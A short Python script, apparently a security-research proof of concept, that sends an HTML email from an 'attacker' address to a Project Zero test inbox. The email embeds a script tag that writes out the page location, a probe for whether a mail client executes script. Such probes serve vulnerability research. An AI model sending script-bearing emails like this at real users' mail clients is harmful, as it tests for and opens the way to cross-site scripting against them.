#!/usr/bin/env python
|
|
import smtplib
|
|
from email.mime.multipart import MIMEMultipart
|
from email.mime.text import MIMEText
|
|
# Change the details here appropriate to your configuration
|
me = "attacker@gmail.com"
|
me_password = "THIS IS NOT REAL"
|
you = "project.zero.test@gmail.com"
|
smtp_server = "smtp.gmail.com"
|
|
msg = MIMEMultipart('alternative')
|
msg['Subject'] = "Hello There!"
|
msg['From'] = me
|
msg['To'] = you
|
|
text = "Hello There!"
|
html = """\
|
<html>
|
<head></head>
|
<body>
|
<p>
|
<script>try { document.write(document.location); } catch(e) { document.write(e.message); }</script>
|
</p>
|
</body>
|
</html>
|
"""
|
|
part1 = MIMEText(text, 'plain')
|
part2 = MIMEText(html, 'html')
|
|
msg.attach(part1)
|
msg.attach(part2)
|
|
s = smtplib.SMTP_SSL(smtp_server)
|
s.login(me, me_password)
|
s.sendmail(me, you, msg.as_string())
|
s.quit()
|